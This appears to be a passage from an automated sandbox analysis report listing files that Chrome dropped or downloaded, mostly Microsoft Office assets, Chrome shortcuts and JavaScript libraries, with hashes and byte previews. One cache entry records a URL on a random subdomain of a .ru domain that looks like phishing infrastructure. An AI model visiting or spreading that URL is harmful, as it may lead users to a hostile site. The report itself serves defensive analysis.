Preview:	L..................F.@.. ...$+.,.........K..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............Z.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 11 17:22:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9921969422109247
Encrypted:	false
SSDEEP:	48:8GdGTiGeH9idAKZdA1hehBiZUk1W1qehmy+C:8P/x9Gy
MD5:	AB0E3209DF6F9C8873302F8E474D437C
SHA1:	82C6A0933EE4641BE5415FA6E8724BF5D9EAA828
SHA-256:	FD4F04CAE1A6D27BA0EEBDC1834454D04308516270B4646C186EC8B54D2B8B75
SHA-512:	2F8BC8C3ED8E300D761083C753D7F64EFF6BF26856C5292FCD5FB455DCCDD688051EEC45715A913FC988E18203E1FC7099ABA7FCB9B69CC5320AEABF0290BA19
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,...../...K..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............Z.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 11 17:22:04 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.0014308739991815
Encrypted:	false
SSDEEP:	48:8AdGTiGeH9idAKZdA1duT+ehOuTbbiZUk5OjqehOuTboy+yT+:8Z/tT/TbxWOvTboy7T
MD5:	5706C3D65032212451875901EB23DB8E
SHA1:	8DC2A69D1506392AE271F5F2AEC3F18CD694BD6B
SHA-256:	E221FF304DFB5C32CF61EA906B380E0D589449BAB59317DDDA5BFDF9524C05A3
SHA-512:	0F4104770479850CB0D8ACB02A6C0EACB3146B3BDF3B60EC61CE8964EF6D5CAF361498DFEC65374219BA7ED81EB7F994683B708A835769FCEB19EC6B2EB6992B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.........K..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............Z.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
URL:	https://o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru/4306172799134194766bHeUEqXjUGTCLUWUEHYLDBTSPCAKAHEQGIMSXBUAZQAESKHKFEVOBMX
Preview:	1

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1059 x 736, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	421343
Entropy (8bit):	7.9930283068921435
Encrypted:	true
SSDEEP:	12288:CzhXKcW0EjM7MmgItOOh5SdW8fgmAGbvEG:Czh6tI7MmqA5OW8fgfGbvT
MD5:	5EEEC8E6F540AAC271BB6D8BD113115A
SHA1:	B3256E64A78DD1A5CF6173ED958F69BC09E7E885
SHA-256:	434138E6620D458BEC6FB1F53DF26AAF6F57B4FDBDF14ED2EA03EDDF642A156A
SHA-512:	6D464624DA20CCE660174494492E14593E3A6765C4D01C223F68C38999BC83EF70E8E1BFD374EAE33295927C1B6A28F69716BBDA20591B2C31AE39C8F4EF7A49
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...#................pHYs.........&.:4....sRGB.........gAMA......a...mtIDATx...[..q..w..y.o.=..Y3...[V..(.v.;R..m......cN....NU@q.............@QI.(.!P.sp..%.$.f.....Y........D....Z..}.{x......>,.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z...$.E..}5....-Z.h.E..N.Z....h.F..^.I{...b.._._~}....}.^}...?.o...U>?\|...W..w/\|=..\|..}...g......./...x.s......=..~..........g.Q<.....}...

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1699 x 1181, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	793073
Entropy (8bit):	7.9926326015445595
Encrypted:	true
SSDEEP:	12288:zzR6wui4acRTYbntjQHv/6/nIz78wWDgqzMv0RxvAL+YopRvJl9JsG4VF5Rq5:zzRe+cRTY7+HKKASMRO+X3RJsGeg
MD5:	979FF0DCE1EDA2035552AD1AA4EFACFA
SHA1:	5765B464F4C94028C4D7492159E2B584DDE8E357
SHA-256:	5979E07897CC0115AC1F320D880B419BF59185B8E6C7BCC75011784E90EA1FEF
SHA-512:	623737D9A6493C87C6EE0765A8880AB3E1C1A67E674C3B4AA908049DE34CBC3D1A899BA1B6C644B881490453DD9067953F3AD00E5E335F872E5CB1AE30EEC244
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/highlight-commercial-5-mreb-979ff0dce1.png
Preview:	.PNG........IHDR...............&.....pHYs.................sRGB.........gAMA......a.....IDATx...Y.ui~..k.............l..H....K.`.T...!..Yv.... .$... ... 7....A`...A,..e....bsR.U.Mg..Z+..<.w.]...Uu.2).......^k....L..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1143 x 794, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	383270
Entropy (8bit):	7.988693191327277
Encrypted:	false
SSDEEP:	6144:TPRLLUNp5X4PgHMt6rH4wJKdPUQ8hR8YXR+JQKFTRvMqtpKyg9N/hTWjrA3S1SmI:hYNTIP/wJuMQ8hR8YXR+JQK3gz/JGA3t
MD5:	7B89E7B9A1E5F0E2AD529D5A85E1ACB7
SHA1:	304ECC4375129D905E70AFE830E998470DADECD9
SHA-256:	1329D493F7D313CA0026EB2664D1AACECBCA82D5BE70F692DD61C980F3BB16BE
SHA-512:	F35C28AC263F1C8A16385D6624D33D0EBCA72F0F959DA654C5B552D5B23EDF41A16D922A9FB6AAFD408AF7E2721D42C0145D99E6B8BC462679FADBEF2C484BA4
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...w..........b......pHYs.........&.:4....sRGB.........gAMA......a....IDATx...{.o.U....~.q.>.z.....W...1.1...$.N...L...%....)..{...J]....i!.-uh!ZJB......4j.....@$l.:..7.....5z.5.s......~.:...~.S..[k..Zk....5.D...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64241)
Category:	downloaded
Size (bytes):	171505
Entropy (8bit):	5.043804815226508
Encrypted:	false
SSDEEP:	3072:jzCPZkTP3bDLH0tfRqQ0xtLfj4ZDSIpTt813viY8R1j35Ap7LQZLPPJH7PAbOCxb:jlZAW3kJeqg
MD5:	8F186BBA557DC6140841C682AF4D60EE
SHA1:	CE2F96E57EE3D9ED15B8A2DD3EBDC7E54439AF98
SHA-256:	CDA4813A965CCD1AAA50550D08B928AAF4C7F50B6F77823213FE3A97E806C2F1
SHA-512:	17ACC430C28A171C1FD029C1B0EB67BE14ED41ED9F7F10E4040ABA1FA39B8DA5CAC7CDF979BAB6CAFAD126AA94C88D123F170E78C51745C3833AE80AD23FB36A
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/onerfstatics/marketingsites-wcus-prod/west-european/shell/_scrf/css/themes=default.device=uplevel_web_pc/1b-9d8ed9/c9-be0100/a6-e969ef/43-9f2e7c/82-8b5456/a0-5d3913/52-918540/ca-ae3ce4?ver=2.0&_cf=02242021_3231
Preview:	@charset "UTF-8";./! \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author of the Third Party Code. The original copyright notice and the license under which Microsoft received Third Party Code are set forth below together with the full text of such license. Such notices and license are provided solely for your information. Microsoft, not the third party, licenses this Third Party Code to you under the terms in which you received the Microsoft software or the services, unless Microsoft clearly states that such Microsoft terms do NOT apply for a particular Third Party Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted under such agreement(s), whether by implication, estoppel or otherwise././! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css /.body{margin:0}.context-uh

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1409 x 979, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1074513
Entropy (8bit):	7.992502130294777
Encrypted:	true
SSDEEP:	24576:Z5bdLk74D3xyaSraAjS7kyTxnkExgpDUPJ2NNu:ZHL9DhZSrbjSQy1mpQPJ2q
MD5:	86723A74CC0FCAD23D9BF25A8EC33CAC
SHA1:	24579C0CD153ED5B5856520E8B91FB2A61DEE8B3
SHA-256:	CC6DEB15D98EE0D2F63E0FB260700C6579394AB15BC09CBB4B11ED925F701EF7
SHA-512:	F2D60AC241146C08FF92AD548A111F5794321FBB04F70176D8187D38D89F7862D7F3D841DBA4C8138DA7C591897050040BC39EFE3CD4ACBFF1798ACF05E0AF82
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/highlight-edu-4-mreb-86723a74cc.png
Preview:	.PNG........IHDR..............Y.s....pHYs.................sRGB.........gAMA......a...d.IDATx.....v.U...].....lM.$.-....6...6.%.....Mwg.t:C..I_CV.v.Y!.......C.p...1I....c06x.F.%.%..?}.{j.....v..~..K.e.....3T...N.S..g...`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0..

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23470)
Category:	downloaded
Size (bytes):	23530
Entropy (8bit):	5.041033223987889
Encrypted:	false
SSDEEP:	384:SlJieG5fjbj4frbXIWpb0Qb1c+GqzmZOW4BK6k3sX:iJjG5fjbj4nYCF69j3sX
MD5:	157F8BD4F84AB6917C9AD3087B4F0875
SHA1:	E89F010698F2E48776782F218C93FA0ACB0FFDD7
SHA-256:	ED9F1B217F1968FCD8027DBA2002BCF5F9223906124A63EE3CB45841AB7CB334
SHA-512:	61BEBC31A15D1D5341551840ED5267611EC378206A2F5E376737A57D84E1C52A367F181FED1BC5DD7B5E39533AB24EA92BB385F5F2184CF2B014C8473FFE7D03
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/bundles/1.3f794e96a00063269d10.chunk.v7.js
Preview:	(window.officehome_webpackJsonp=window.officehome_webpackJsonp\|\|[]).push([[1],{B5kz:function(e,t,r){"use strict";r.d(t,"a",(function(){return H})),r.d(t,"d",(function(){return W})),r.d(t,"b",(function(){return ee})),r.d(t,"c",(function(){return te}));var n,i=r("Fcif");!function(e){e.Idle="idle",e.Loading="loading",e.Error="error",e.Success="success"}(n\|\|(n={}));var u=function(e){this.silent=e},o=0,s="undefined"==typeof window;function c(){}var a=console\|\|{error:c,warn:c,log:c};function h(e,t){return"function"==typeof e?e(t):e}function f(e,t){if("function"==typeof t)throw new Error;return b(t)?Object.keys(t).sort().reduce((function(e,r){return e[r]=t[r],e}),{}):t}function l(e,t){return e===t\|\|typeof e==typeof t&&"object"==typeof e&&!Object.keys(t).some((function(r){return!l(e[r],t[r])}))}function d(e){return"number"==typeof e&&e>=0&&e!==1/0}function v(){return"undefined"==typeof document\|\|[void 0,"visible","prerender"].includes(document.visibilityState)}function y(){return void 0===navi

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 4000 x 2238, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10058400
Entropy (8bit):	7.988307130589743
Encrypted:	false
SSDEEP:	196608:5nHCaQivyot0RWDNzjMqV8CoWF6UquVtmS7ycKUkQfaGG9:ZHCavyI0cDN0qV8rmguVwaKUffaGG9
MD5:	7D5C104D8439CC4A1A9618391A52DFC2
SHA1:	1EACDB703238FC270187A1A23AA77315EE475ED2
SHA-256:	2AB1510CDB2FA03A8CAF6F2CC4A40EBB2B8218922A6AD1F640F4EDD9018E9144
SHA-512:	73446F80AC5B2AB4DEE11CAE312D9486CDF1261DE7BB988F55A5C5269825773964857452705CA6B4B165DCA4DFFE7DD13531CA04804E61210DC950CED900C26F
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/unauth-m365-hero-copilot-centric-7d5c104d84.png
Preview:	.PNG........IHDR................g....pHYs.................sRGB.........gAMA......a...z5IDATx.....&.&..J........;>..xt..{.....2.I...vu.....T.PJ.Z....K....Ep..16.r..+.........h9......5q.8.?.....0...\|<Y@...y6..B..N./..yI....e\.....d.MzN.X..V_.N..9..2.5.'A.-#...A4.._..S.\|...u_.....J.gd.lR..........i.@y,.?.}[\|..>.$p'..zi.#]emv%.!.cO...>.n8r..5..Ro.5.......h.....4.'...[....X....@[..U...v.?4D..4,;y>....r=..L...4\_p...r...~.,..<..r...3....!t._E....Ai....M3...'......z.hl#..j=...0.e;..F...9..9..._.....0..}..".k......`I.r...A...1....+.>.`.g...E..\|...1.....!..3{=..s@.-1.....343u...)..Z.k..}u.c.....QG.xy.9;. ^...x..!.S....n..z....O.0.l........M..p?..{.o/...?-..?..,.2ur......[....].b.'C..V.&...e.w`..r..\|o..;6.....k..9._.\|.{{...'..O..7.g..zG.'.#...~...]....g.$..F........o..QI..ge{...8w.t.Z.'.:..!./.......x...:.1.s...'.......D....g.Q.*y.>>.-q... ......sH..........G........<H........S..y>.+......_'k...}........i.=e...kN'_I.:..~ZsY..t$o.C..&).0D...S.....

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 161 x 160, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3974
Entropy (8bit):	7.902382111689997
Encrypted:	false
SSDEEP:	96:ISobo+jDMIdb9KWszfIwrotnp7hVzMECexHrI1vuE2nvg5vzHJ3k:ISqo+jRAfTIwEtp7hy2HrA2vgNTVk
MD5:	2BE9B68EED69AE75FBA5ED982D0FF25D
SHA1:	BD6E134C0D87C52AC751555269A59796D5EABC55
SHA-256:	8281E85E9FF70034913A38D9EAA6AF52ED98AB621300F0558E70A9BCEFF7246E
SHA-512:	D72E1C8F52D65BBFE2ECDAF9E7A0C209F4F7C385B470DAB7C0979D3D5F1FF29EC14A5E92334676F560DFD22924B0FB983F43FB936EA23F812ED0C639896F8C60
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/qr-code-2be9b68eed.png
Preview:	.PNG........IHDR.............d.......pHYs.................sRGB.........gAMA......a.....IDATx...u.<..E......B.....X. ... ..T.........X.......G.qf...<..p..u..\[.W#9..zS\|..9s...(.?..R.]..9...>..W.v..gR.yS..={...X..eYo9....0J....2.Fu....?..kW...../_..z......?.....}..UT../N..n..X{........Wn.L9.8.........+W..M...)....................r.q...k.....T.4Q7..j..nhcj.&:.*>ST?...q%.4....Fu.N...!.~........'F}.......Mt3D...l..v..B...1u9.`...\|...b4.~B........9.Q.sB.:..x,.e;..(.......J2.....I..G.Uo.u....~.z........?...I:.T......9.@..??.?.8.e...N..M.N:!~H.i...q,yG.{^.../Zs26{r1.;a.....c{!...`Q.....EyY...u.%<.k2..1....K.......72.Q...n\|.x<."V.{..........w'.W.G.&..L..q.5.'.(8\|..kfQ....!....?....Fulf..........9......l.6....+7a..(.h...a0..&........D ....Wk...4.....hY;'....[a....".NSW3.T.&./....9....1}....S.a{d.e..)..c.:.J\|..f..I....P.\.?..%._X'...4h...%.../^..K....@....J..[..I....../.....x.0..@.%.q?....k.'.i.R...p.`.Ks@......1'.=Md.b%..P..'.

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1067 x 742, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	571791
Entropy (8bit):	7.997310243142735
Encrypted:	true
SSDEEP:	12288:GQEnGqYKJ83t1x9Y9c9YA6P/WVzSF3rbuQdzQHULLq:NEnxlJ89LL9YAcoG5H8mq
MD5:	27F24F9CACA928D2DD0AA2192FF055EA
SHA1:	EFE1BE378E1F124A5F4529FFD45F18CB2E3434D4
SHA-256:	47DC43974FD21405DAE835D7A87429F90F3028EE9726A96ECA0F80CD765E22F4
SHA-512:	2121BC94FBD792D9D388480CC75B3A6375E2DDAF3A6C6EE6DC7A4934DF1187EAEBCC71481E526D7EF5912A7F10B711B13D72AD5468F825EB331FEC1DB038B55A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...+.........km......pHYs.........&.:4....sRGB.........gAMA......a....$IDATx.....n.U.....w.7.<f"....BP0..P.dj!.....A..n.m4.W.o..n..E.li..DD.a.!..B..2..y.J........o.u.{.W..j..[...;g.k....6Q".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$.

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65394)
Category:	downloaded
Size (bytes):	91802
Entropy (8bit):	5.3603423050848615
Encrypted:	false
SSDEEP:	1536:C4F18VDgLMcb+0XbPN1xlJGFqCN3tcULcUoHfe:C4F18VDgLN9LN1mTn
MD5:	CF5CC7F4B57526CC37893DCB83DED031
SHA1:	E953783BE0A7894585778455AAE3D0DF094D6F29
SHA-256:	3A790B6C0D26D7A4D292CB27F992EAFAFF42C37E9318B2AB704207039127FCB8
SHA-512:	2320F9D7811CD773C1E5C2E95A31B39E9FF62A2FA7CA431975873DAB57AE42A75BA720D15AEB47FA2EA127D0766EB5AA15040CFFD04BF7A8CB8BCD7236069C40
Malicious:	false
Reputation:	low
URL:	https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js
Preview:	/!. 1DS JS SDK Shared Analytics, 3.2.18. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,n){var t,r={},i="__ms$mod__",o={},a=o.esm_ms_shared_analytics_mectrl_3_2_18={},u="3.2.18",c="oneDsMeControl3",s=(s=e)[c]=s[c]\|\|{},l=(l=e)[c="oneDsMeControl"]=l[c]\|\|{},e=s[i]=s[i]\|\|{},f=e.v=e.v\|\|[],c=l[i]=l[i]\|\|{},d=c.v=c.v\|\|[];for(t in(c.o=c.o\|\|[]).push(o),n(r),r)s[t]=r[t],f[t]=u,l[t]=r[t],d[t]=u,(a.n=a.n\|\|[]).push(t)}(this,function(e){"use strict";!function(e,n,t){var r=Object.defineProperty;if(r)try{return r(e,n,t)}catch(i){}typeof t.value!==undefined&&(e[n]=t.value)}(e,"__esModule",{value:!0});var y="function",m="object",se="undefined",C="prototype",I="hasOwnProperty",b=Object,S=b[C],x=b.assign,w=b.create,n=b.defineProperty,_=S[I],T=null;function O(e){e=!1===(e=void 0===e\|\|e)?null:T;return e\|\|((e=(e=(e=typeof globalThis!==se?globalThis:e)\|\|typeof self===se?e:self)\|\|typeof window===se?e:window)\|\|typeof global===se\|\|(e=global),T=e),e

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2609 x 471, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	698616
Entropy (8bit):	7.988990542773947
